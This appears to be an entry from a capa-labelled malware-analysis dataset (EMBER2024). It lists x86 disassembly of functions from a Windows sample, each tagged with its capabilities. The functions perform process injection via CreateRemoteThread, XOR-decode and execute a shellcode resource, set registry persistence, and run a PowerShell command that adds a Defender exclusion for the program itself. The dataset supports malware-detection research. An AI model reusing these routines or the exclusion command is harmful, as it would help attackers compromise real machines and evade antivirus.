joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4147a3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x10], edx
push edi
mov dword [ebp - 0xc], esi
call fcn.00414498
mov ebx, eax
test ebx, ebx
je 0x41488d
push 0x40
push 0x3000
push dword [ebx + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x41488d
movzx eax, word [ebx + 0x14]
add eax, 0x18
add eax, ebx
mov dword [ebp - 4], eax
push dword [eax + 0x14]
push esi
push edi
call fcn.0040126d
xor ecx, ecx
add esp, 0xc
xor eax, eax
cmp cx, word [ebx + 6]
jmp 0x414846
movzx eax, ax
imul esi, eax, 0x28
mov eax, dword [ebp - 4]
push dword [esi + eax + 8]
mov eax, dword [esi + eax + 0xc]
add eax, edi
push 0
push eax
call fcn.00401293
mov ecx, dword [ebp - 4]
add esp, 0xc
push dword [esi + ecx + 0x10]
mov eax, dword [esi + ecx + 0x14]
add eax, dword [ebp - 0xc]
push eax
mov eax, dword [esi + ecx + 0xc]
add eax, edi
push eax
call fcn.0040126d
mov eax, dword [ebp - 8]
add esp, 0xc
inc eax
cmp ax, word [ebx + 6]
mov dword [ebp - 8], eax
jb 0x414802
mov ecx, edi
call fcn.004146d3
mov ecx, eax
mov esi, edx
mov eax, edi
cdq
sub eax, ecx
mov ecx, edi
sbb edx, esi
push edx
push eax
call fcn.0041452d
pop ecx
pop ecx
test al, al
je 0x414889
mov ecx, edi
call fcn.004145a1
test al, al
je 0x414889
cmp dword [ebp - 0x10], 0
je 0x414889
mov eax, dword [ebx + 0x28]
push 0
push 1
push edi
add eax, edi
call eax
mov eax, edi
jmp 0x41488f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4149a8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push 0x44
xor ebx, ebx
lea eax, [ebp - 0x54]
push ebx
push eax
mov esi, ecx
call fcn.00401293
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x10]
add esp, 0xc
mov dword [ebp - 0x54], 0x44
mov ecx, dword [eax]
mov eax, dword [ebp + 8]
push edx
lea edx, [ebp - 0x54]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4149f7
mov eax, dword [ebp - 0x10]
mov dword [esi], eax
xor eax, eax
inc eax
jmp 0x4149f9
xor eax, eax
pop esi
pop ebx
leave
ret 0xc

Function at 0x414a4a
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push edi
push 0
push 2
mov ebx, edx
mov dword [ebp - 0x22c], 0x22c
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x414aa6
lea eax, [ebp - 0x22c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x414a9b
cmp dword [ebp - 0x224], ebx
je 0x414ab0
lea eax, [ebp - 0x22c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x414a85
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [esi], 0
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x208]
mov ecx, esi
push eax
call fcn.0040460a
jmp 0x414aa9
Function at 0x414ac7
Capabilities:
Terminate process

Disassembly:
push edi
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x414af1
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop edi
ret
xor eax, eax
pop edi
ret

Function at 0x414af5
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
push edi
push 0x228
xor ebx, ebx
lea eax, [ebp - 0x254]
push ebx
push eax
mov edi, ecx
call fcn.00401293
add esp, 0xc
mov dword [ebp - 0x258], 0x22c
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x20], ebx
push 5
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
call fcn.004018ac
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x414cce
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x414cbf
mov eax, dword [ebp - 0x250]
lea ecx, [ebp - 8]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x234]
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call fcn.0040428f
push dword [ebp - 0x250]
push ebx
push 0x1410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x414c1a
push 0x410
lea eax, [ebp - 0x668]
push 0
push eax
call fcn.00401293
add esp, 0xc
lea eax, [ebp - 0x668]
push 0x208
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x414bef
lea eax, [ebp - 0x668]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040460a
push eax
lea ecx, [ebp - 4]
call fcn.004043c7
mov ecx, dword [ebp - 0x10]
call fcn.00406f1d
and dword [ebp - 0x10], 0
jmp 0x414c11
push 0x419e40
lea ecx, [ebp - 0x14]
call fcn.0040460a
push eax
lea ecx, [ebp - 4]
call fcn.004043c7
mov ecx, dword [ebp - 0x14]
call fcn.00406f1d
and dword [ebp - 0x14], 0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x414c3c
push 0x419e40
lea ecx, [ebp - 0x18]
call fcn.0040460a
push eax
lea ecx, [ebp - 4]
call fcn.004043c7
mov ecx, dword [ebp - 0x18]
call fcn.00406f1d
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 0xc]
sub esp, 0xc
mov ebx, esp
mov dword [ebx], eax
and dword [ebx + 4], 0
cmp dword [ebp - 8], 0
je 0x414c72
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push dword [ebp - 8]
mov dword [ebx + 4], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
and dword [ebx + 8], 0
cmp dword [ebp - 4], 0
je 0x414c9e
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406f2c
push dword [ebp - 4]
mov dword [ebx + 8], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea ecx, [ebp - 0x28]
call fcn.004017a5
lea ecx, [ebp - 0xc]
call fcn.004015fb
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
push 0
pop ebx
test eax, eax
jne 0x414b5f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x28]
mov ecx, edi
push eax
call fcn.0040147b
lea ecx, [ebp - 0x28]
call fcn.004014c2
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41570f
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push str.SoftwareClassesFolder_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x415749
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor al, al
jmp 0x415771
push esi
push dword [ebp + 0xc]
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x41576f
push esi
jmp 0x41573f
mov al, 1
pop esi
leave
ret

Function at 0x4157f0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0x800
mov dword [ebp - 4], ecx
call fcn.00401000
mov esi, 0x41b4b0
mov dword [ebp - 8], eax
pop ecx
mov edx, eax
sub esi, eax
mov edi, 0x601
mov cl, byte [esi + edx]
xor cl, 0x45
mov byte [edx], cl
inc edx
sub edi, 1
jne 0x415818
lea ecx, [ebp - 0xc]
push ecx
push 0x40
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x40
push 0x1000
push 0x1fe
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0xa
pop ecx
push 0
push 0
push dword [ebp - 4]
lea edi, [ebx + eax*2]
mov esi, str.System32cmd.exe
mov eax, dword [ebp - 8]
rep movsd dword es:[edi], dword [esi]
push ebx
add eax, 0xef
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x415884
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov esi, 0xf003f
push eax
push esi
xor edi, edi
mov ebx, 0x41c6bc
push edi
push ebx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x4158c7
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push edi
push esi
push edi
push edi
push edi
push ebx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, 0x551c00
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 2
push eax
push esi
push 1
push edi
push 0x41c6dc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4158f7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push edi
mov edi, 0x208
mov esi, 0x551c00
push edi
push 0
push esi
call fcn.00401293
add esp, 0xc
push edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x41596f
call fcn.00413893
cmp eax, 1
je 0x41596f
push ebx
call fcn.00415884
call fcn.00415c0e
push 0x41c714
mov ebx, eax
push 0x66
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
push edi
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
pop ebx
test eax, eax
je 0x41596f
mov ecx, eax
call fcn.004157f0
pop edi
xor eax, eax
pop esi
ret
Function at 0x415b64
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, edx
mov eax, ebx
cdq
and edx, 3
push esi
push edi
lea edi, [edx + eax]
mov edx, dword [ebp + 8]
sar edi, 2
lea esi, [ecx + edi*4]
neg edi
je 0x415ba5
imul eax, dword [esi + edi*4], 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor eax, edx
rol eax, 0xd
imul edx, eax, 5
sub edx, 0x19ab949c
add edi, 1
jne 0x415b82
mov eax, ebx
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x415bcb
sub eax, 1
je 0x415bc2
sub eax, 1
jne 0x415be1
movzx ecx, byte [esi + 2]
shl ecx, 0x10
movzx eax, byte [esi + 1]
shl eax, 8
xor ecx, eax
movzx eax, byte [esi]
xor eax, ecx
imul eax, eax, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor edx, eax
xor edx, ebx
mov eax, edx
shr eax, 0x10
xor eax, edx
imul ecx, eax, 0x85ebca6b
pop edi
pop esi
pop ebx
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul eax, eax, 0xc2b2ae35
mov ecx, eax
shr ecx, 0x10
xor ecx, eax
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
pop ebp
ret

Function at 0x415c81
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov edi, edx
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x415cbf
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x415d7c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov edi, edx
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x415dba
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x415e27
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x2800000
mov edi, edx
mov esi, ecx
call fcn.00401000
pop ecx
mov ebx, eax
xor eax, eax
push eax
push 0x80
push 3
push eax
push eax
push closesocket
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x415e64
and dword [edi], 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 4]
mov dword [edi], eax
push ecx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x415e84
and dword [edi], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x415e92
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 4
mov eax, edx
xor edi, edi
push 0x1000
push eax
push edi
mov dword [ebp - 4], eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 4]
mov ebx, eax
lea eax, [edx - 1]
add eax, esi
mov cl, byte [eax]
not cl
mov byte [edi + ebx], cl
inc edi
dec eax
cmp edi, edx
jbe 0x415ebc
lea eax, [ebp - 8]
push eax
push 0x40
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x415ede
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, edx
push edi
mov edi, ecx
mov dword [ebp - 4], edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x415ef2
sub esi, ecx
xor ecx, ecx
test ebx, ebx
jle 0x415f17
mov eax, ecx
mov edi, dword [ebp + 8]
cdq
idiv esi
mov al, byte [edx + edi]
mov edi, dword [ebp - 4]
xor byte [ecx + edi], al
inc ecx
cmp ecx, ebx
jl 0x415f01
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x415f21
Capabilities:
Allocate or change rwx memory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x415fdb
cmp dword [ebp - 4], 0
je 0x415fcb
push 0x40
push 0x1000
push 0xff
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 5
pop ecx
mov esi, 0x419b78
lea edi, [ebx + eax]
rep movsd dword es:[edi], dword [esi]
push 0x44
xor esi, esi
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.00401293
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push 0x8000000
push esi
push esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x415fdb
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0xc]
jmp 0x415fd6
call fcn.004160c3
test eax, eax
je 0x415fdb
mov edx, eax
call fcn.00415fe0
pop edi
pop esi
pop ebx
leave
ret
Function at 0x415fe0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, 0xff
mov dword [ebp - 0x10c], eax
push ebx
call fcn.00401000
pop ecx
push ebx
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x108]
sub ecx, esi
mov al, byte [esi]
mov byte [ecx + esi], al
inc esi
test al, al
jne 0x41602b
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push 0x3000
push 0x800
push 0
push edi
call esi
push 0
push 0x800
push 0x41e158
mov ebx, eax
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call edi
lea eax, [ebp - 8]
push eax
push 0x40
push 0x800
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 4
push 0x3000
push 0x103
push 0
push dword [ebp - 4]
call esi
push 0
mov esi, eax
lea eax, [ebp - 0x10c]
push 0x103
push eax
push esi
push dword [ebp - 4]
call edi
xor ecx, ecx
lea eax, [ebx + 0x10e]
push ecx
push ecx
push esi
push eax
push ecx
push ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop edi
pop esi
mov dword [0x551bfc], eax
pop ebx
leave
ret

Function at 0x4160c3
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x124
mov esi, eax
lea eax, [ebp - 0x124]
push 0
push eax
call fcn.00401293
add esp, 0xc
mov dword [ebp - 0x128], 0x128
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x41613c
lea edx, [ebp - 0x104]
mov edi, 0x41c7f0
xor ecx, ecx
movzx eax, byte [edx + ecx]
cmp al, byte [edi + ecx]
jne 0x41612e
inc ecx
cmp ecx, 0xd
jne 0x416117
mov eax, dword [ebp - 0x120]
jmp 0x416149
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x41610a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x41649c
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
push edi
mov esi, edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
push 0x4193d0
push 1
push edi
push 0x419420
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x416534
mov eax, dword [ecx]
lea edx, [ebp - 4]
push edi
push edx
push 0x419410
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x416524
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
jmp 0x416500
mov ecx, dword [ebp - 0xc]
inc esi
test ecx, ecx
je 0x416500
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 0xc], edi
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0xc]
push edi
push edx
push 1
mov eax, dword [ecx]
push ecx
call dword [eax + 0xc]
test eax, eax
je 0x4164ef
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x416524
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 4], edi
mov edx, dword [ebp - 8]
test edx, edx
je 0x416534
mov ecx, dword [edx]
push edx
call dword [ecx + 8]
mov dword [ebp - 8], edi
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x41699c
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x18], ecx
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
mov dword [ebp - 0xc], edi
push eax
push 0x41c870
push 1
push edi
push 0x419420
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x416af3
mov eax, dword [ecx]
lea edx, [ebp - 4]
push edi
push edx
push 0x419410
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x416af3
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
mov ebx, edi
jmp 0x416aaf
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0xc]
push edx
push 0x4193a0
push edi
lea ecx, [eax + ebx*4]
mov eax, dword [ecx]
push edi
push ecx
call dword [eax + 0x24]
test eax, eax
jne 0x416acd
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 0x28]
push edi
push edx
push 0x41c808
mov eax, dword [ecx]
push ecx
call dword [eax + 0xc]
test eax, eax
je 0x416a5b
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 0x28]
push edi
push edx
push str.FriendlyName
mov eax, dword [ecx]
push ecx
call dword [eax + 0xc]
test eax, eax
jne 0x416acd
push 0x1c
pop ecx
call fcn.00406fa7
test eax, eax
je 0x416a72
mov ecx, eax
call fcn.00416c63
mov edx, eax
jmp 0x416a74
mov edx, edi
mov esi, dword [ebp - 0x20]
movzx eax, word [esi]
test ax, ax
je 0x416a9d
mov ecx, eax
mov eax, dword [edx + 4]
mov word [eax + edi*2], cx
mov ecx, dword [edx]
mov al, byte [esi]
lea esi, [esi + 2]
mov byte [edi + ecx], al
inc edi
movzx eax, word [esi]
mov ecx, eax
test ax, ax
jne 0x416a81
mov ecx, dword [ebp - 0x18]
push edx
mov dword [edx + 8], ebx
lea ecx, [ecx + 4]
call fcn.00402da0
inc ebx
xor edi, edi
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
lea edx, [ebp - 0x14]
mov dword [ebp - 0x10], edi
push edx
mov eax, dword [ecx]
push 1
push ecx
call dword [eax + 0xc]
test eax, eax
je 0x416a04
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x416add
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 4], edi
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x416aed
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 8], edi
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x416af8
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, edx
push edi
mov edi, ecx
test esi, esi
je 0x416bc2
push ebx
call fcn.0041649c
xor ecx, ecx
cmp eax, edi
lea eax, [ebp - 0x10]
push eax
push 0x41c870
cmovb edi, ecx
xor ebx, ebx
push 1
push ebx
push 0x419420
mov dword [esi], ebx
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x416bc1
mov eax, dword [ecx]
lea edx, [ebp - 4]
push ebx
push edx
push 0x419410
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x416bc1
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
and dword [ebp - 8], ebx
jmp 0x416b8c
mov eax, dword [ebp - 0xc]
push esi
push 0x4193c0
push 0
mov ecx, dword [eax]
push 0
push eax
call dword [ecx + 0x20]
mov ecx, dword [esi]
test ecx, ecx
je 0x416b88
cmp ebx, edi
je 0x416ba3
mov eax, dword [ecx]
inc ebx
push ecx
call dword [eax + 8]
and dword [esi], 0
and dword [ebp - 8], 0
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ecx]
push 1
push ecx
call dword [eax + 0xc]
test eax, eax
je 0x416b61
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x416bb4
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x416bc1
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
pop ebx
pop edi
pop esi
leave
ret

Function at 0x417083
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, 0x100
push edi
call fcn.00401000
mov esi, eax
push edi
mov dword [ebp - 4], esi
call fcn.00401000
push edi
push 0
push esi
mov ebx, eax
call fcn.00401293
push edi
push 0
push ebx
call fcn.00401293
add esp, 0x20
push edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xa
mov edx, dword [ebp - 4]
mov esi, str.powershell_Add_MpPreference__ExclusionPath
pop ecx
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ax, word [edx]
lea esi, [ecx + 1]
mov word [ebx + 0x2b], ax
mov al, byte [edx + 2]
mov byte [ebx + 0x2d], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4170e5
mov al, byte [edx + 0xff]
sub ecx, esi
push 0
push ebx
mov byte [ecx + ebx], al
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebx
leave
ret